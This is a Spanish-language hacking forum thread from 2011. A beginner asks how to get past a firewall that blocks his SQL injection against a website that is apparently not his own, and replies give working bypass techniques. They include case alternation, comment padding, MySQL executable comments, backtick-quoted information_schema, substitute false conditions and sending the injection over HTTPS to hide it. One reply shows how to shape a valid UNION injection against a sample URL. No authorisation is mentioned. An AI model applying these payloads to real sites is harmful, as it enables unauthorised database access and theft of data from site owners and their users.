Duda SLQ inyection

editado octubre 2011 en Principiantes
hola tengo una duda con una web que es vulnerable a sql inyection, pero cuando hago la consulta -1+union+select+0.... me rebota el servidor "
"Forbidden
You don't have permission to access /vgallery.php on this server. "

supongo que sea un firewall, ahi alguna de manera de filtrar las inyecciones? y lograr consultar las tablas? espero me ayuden , gracias

Comentarios

  • editado 5:02
    Efectivamente, debe tratarse de algún sistema de detección de intrusos. Hace algun tiempo escribi algo sobre como evadir esos sistemas en mi blog:

    ALGUIEN EN LA FISI: SQL Injection Web Attacks [Parte V]

    Copio y pego:

    Sistemas de detección de Intrusos (IDS's)

    Algunas veces nos enfrentaremos a Sistemas de Detección de Intrusos (IDS's). Estos sistemas son algo así como "antivirus de la red" que pueden identificar una solicitud maliciosa (como una inyección, por ejemplo) y aplicar alguna regla predefinida para tratar ese tipo de ataques. Por ejemplo, bloquear la solicitud y notificar al administrador.

    Para detectar un ataque los IDS utilizan "firmas" que no son otra cosa más que patrones de ataque. Por ejemplo las palabras "UNION SELECT", si un IDS viera eso en nuestra solicitud posiblemente la califique como maliciosa y suene la alarma xD

    Lo que tenemos que hacer para evadir un IDS es modificar la "forma" de nuestra inyección de manera que no haga "match" con ninguna de las reglas del IDS. Por ejemplo, si el IDS detecta la cadena "UNION SELECT" puedes probar esto:

    Alternar mayusculas y minusculas:
    UnIoN SeLeCt

    Incluir ruido en comentarios:
    UNION/*no es importante*/SELECT

    Esta es una forma alternativa:
    UNION ALL SELECT

    Combina todo lo anterior:
    UnIoN/*que no*/AlL/*es importante*/SeLeCt

    Solo para MySQL: Existe una forma especial de "comentario", que en realidad no es un comentario ;)

    /*!esto NO es un comentario en mysql*/

    Podemos usarlo para evadir algunos IDS's. Por ejemplo:

    index.php?id=NULL UNION/*! SELECT*/

    Si lo que detecta es el nombre de alguna estructura como "information_schema.tables" puedes intentar poniendo el nombre entre comillas invertidas (`). Ejemplo:

    index.php?id=' UNION SELECT 1,2,3 FROM `information_schema`.tables

    Si detecta algunas comparaciones tipo "AND 1=0" o similares, pues no las uses prueba con alternativas:

    Usando like:
    AND 'a' like 'b'

    Usando regexp:
    AND 'a' regexp 'b'

    Usando parentesis:
    AND ((((4))))=(((3)))

    El 0 tambien es falso:
    AND 0;

    El nulo tambien es falso:
    AND NULL;

    Otra forma de NULL:
    AND 0/0;

    Sí, esto tambien es falso:
    AND FALSE;

    Como vez todo depende de tener un profundo conocimiento del lenguaje SQL para un SGBD especifico y usarlo para encontrar inyecciones que salten el IDS.

    Y por último, si el IDS no permite explotar la vuln por UNION, puedes intentar explotarla por inyecciones blind ;)

    ¿El IDS aún te atrapa? Revisa si la web soporta conexiones seguras (ya sabés, cambia el http:// por [url]https://)[/url] Si envías la inyección encriptada ningún dispositivo intermedio podrá analizarla (o al menos así debería ser xD).

    Además de lo comentado anteriormente existen otras técnicas mucho más sofisticadas para evadir IDS's. Pero explicarlas aquí escapa a los objetivos de esta serie. Pueden aprender más al respecto en las siguientes webs:

    Evasión en IDS (I) | Security Art Work
    Evasión en IDS (II) | Security Art Work
    Evasión en IDS (III) | Security Art Work
    Los Caballeros: Técnicas de evasión de IDS 1.
    Pentester.es: IP Fragmentation Overlap & Fragroute
    IP Fragmentation Overlapping - Parte 1 on Vimeo
    IP Fragmentation Overlapping - Parte 2 on Vimeo

    -- fin copy&past --

    Un saludo.
  • editado 5:02
    Revisa esto:

    ALGUIEN EN LA FISI: SQL Injection Web Attacks [Parte V]

    En la seccion de "IDS"

    Un saludo.
  • editado 5:02
    Muchas Gracias enseguida me pongo a leer
  • editado 5:02
    Hola carlosital, a pesar de que el parametro que se le pasa a la aplicación web sea vulnerable a inyeccion sql, se debe
    determinar tambien a que tipo de inyección nos enfrentamos.
    Que puede ser una de tipo UNION, sino una ERROR o BLIND, y ademas de eso darnos una idea de como es el query, ( aunque hay
    veces que son muy muy complejos :( ).

    Por ejemplo si la consulta fuese asi en tu aplicacion web vulnerable:
    SELECT columnaId FROM tabla_cualquiera WHERE columnaId IN ( '$_GET' )

    y ejecutas la inyeccion desde tu navegador:
    http://www.sitiomalhecho.com/index.php?id=-1' //inyeccion , que devuelve error en el query
    quedaria asi:
    SELECT columnaId FROM tabla_cualquiera WHERE columnaId IN ('-1'')
    que devolveria un error en la consulta. Con eso sabemos que es vulnerable a la inyeccion de codigo.

    Pero no podriamos hacer
    http://www.sitiomalhecho.com/index.php?id=-1+union+select+0
    porque obviamente sigue siendo un error de sintaxis en la consulta:
    SELECT columnaId FROM tabla_cualquiera WHERE columnaId IN ('-1 union select 0')

    Como dije antes, lo que se debe hacer es tratar de encontrar como es la consulta, para luego si tener una inyeccion valida.

    Por ejemplo para nuestro ejemplo tendrias una inyeccion valida asi:
    http://www.sitiomalhecho.com/index.php?id=-1') UNION SELECT ('
    el query queda asi:
    SELECT columnaId FROM tabla_cualquiera WHERE columnaId IN ('-1') UNION SELECT (' ')

    Luego ya podemos hacer lo que sigue en estos casos, la version, user, database, etc....

    Bueno, espero que me haya hecho entender.

    Salu2.

    X4V1G

    PD: Se me olvidaba comentar que puede haber un controlador de error que te redirige a la pagina que esta prohibida.
  • editado 5:02
    Hola x4v1g, en este caso creo que se trata del tipo UNION, la consulta en la aplicacion web vulnerable es parecida a esta : SELECT sw_id FROM swatches WHERE gal_id=''' es nuevo para mi eso de saber si las inyecciones son del tipo ERROR o BLIND.... gracias por tu mensaje :)
  • editado 5:02
    Buenos días

    carlosital

    Gracias por los aportes todo muy interesante, igualmente muy importante lo aportado por x4v1g
Accede o Regístrate para comentar.